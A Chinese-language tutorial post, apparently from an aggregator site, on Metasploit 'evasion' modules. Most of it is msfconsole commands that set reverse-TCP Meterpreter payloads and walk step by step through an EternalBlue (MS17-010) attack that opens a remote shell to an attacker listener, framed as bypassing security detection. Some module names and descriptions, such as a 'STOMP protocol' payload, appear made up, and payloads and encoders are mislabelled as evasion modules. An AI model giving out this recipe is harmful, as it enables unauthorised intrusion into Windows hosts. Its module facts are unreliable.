当前位置: 首页 > article >正文

metasploit/modules/evasion 有哪些模块,以及具体使用案例

Metasploit框架的evasion模块用于生成绕过安全检测的有效载荷。以下是一些常见的evasion模块及其使用案例:

1. 通用Evasion模块

  • windows/meterpreter/reverse_tcp_rc4:使用RC4加密的反向TCP Meterpreter会话。

    set PAYLOAD windows/meterpreter/reverse_tcp_rc4
    set LHOST 192.168.1.2
    set LPORT 4444
    
  • windows/meterpreter/reverse_tcp_uuid:使用UUID生成器的反向TCP Meterpreter会话。

    set PAYLOAD windows/meterpreter/reverse_tcp_uuid
    set LHOST 192.168.1.2
    set LPORT 4444
    

2. 编码和混淆Evasion模块

  • x86/shikata_ga_nai:使用Shikata Ga Nai算法进行XOR编码。

    set ENCODER x86/shikata_ga_nai
    
  • x86/countdown:使用递减计数器进行编码。

    set ENCODER x86/countdown
    

3. 特定平台Evasion模块

  • windows/x64/meterpreter/reverse_tcp_stomp:使用STOMP协议的反向TCP Meterpreter会话。

    set PAYLOAD windows/x64/meterpreter/reverse_tcp_stomp
    set LHOST 192.168.1.2
    set LPORT 4444
    
  • linux/x86/meterpreter/reverse_tcp_lzma:使用LZMA压缩的反向TCP Meterpreter会话。

    set PAYLOAD linux/x86/meterpreter/reverse_tcp_lzma
    set LHOST 192.168.1.2
    set LPORT 4444
    

使用案例

假设你想利用一个Windows漏洞来获取远程控制,并且希望绕过安全检测,你可以按照以下步骤操作:

  1. 选择合适的exploit模块

    use exploit/windows/smb/ms17_010_eternalblue
    
  2. 设置目标IP

    set RHOSTS 192.168.1.1
    
  3. 选择合适的payload模块

    set PAYLOAD windows/meterpreter/reverse_tcp_rc4
    
  4. 设置本地监听地址和端口

    set LHOST 192.168.1.2
    set LPORT 4444
    
  5. 运行模块

    run
    

注意事项

  • 使用这些模块时,请确保你有合法的权限和目的。
  • 避免在未经授权的系统上进行测试,以免违反法律或政策。

通过这些模块和案例,你可以生成绕过安全检测的有效载荷,从而提高渗透测试的成功率。


http://www.kler.cn/a/379374.html

相关文章:

  • selinux和防火墙
  • 大数据之Hadoop集群
  • WPF使用Prism框架首页界面
  • vue系列==vue路由
  • IsADirectoryError: [Errno 21] Is a directory: ‘xxxxx/.ipynb_checkpoints‘
  • Jmeter——结合Allure展示测试报告
  • WebService详解
  • 服务器数据恢复—SAN环境中LUN映射错误导致文件系统一致性出错的数据恢复案例
  • 【neo4j】 图数据库neo4j cypher单一语句 optional 可选操作的技巧
  • “代码世界的必修课:Git完整指南“(3)
  • JVM基本结构和垃圾回收机制
  • 小白从零开始学c++之继承对象的内存空间
  • nodejs入门教程8:nodejs EventEmitter
  • 《Java 实现希尔排序:原理剖析与代码详解》
  • 三维测量与建模笔记 - 2.2 射影几何
  • Hive数据库操作语法
  • Java-I/O框架10:File类、文件操作
  • docker部署Flask+Vue3项目
  • Leetcode328奇偶链表,Leetcode21合并两个有序链表,Leetcode206反转链表 三者综合题
  • C++游戏开发前景讨论
  • [算法初阶]第二集 滑动窗口(已完结)
  • 【NCRE】全国计算机一级必刷选择题(真题476道)
  • 第三十三章 Vue路由进阶路由模块封装
  • 【LeetCode:153. 寻找旋转排序数组中的最小值 + 二分】
  • sql将查到的所有id,拼接成字符串,用逗号隔开,并排序
  • 路由器中怎麼設置代理IP?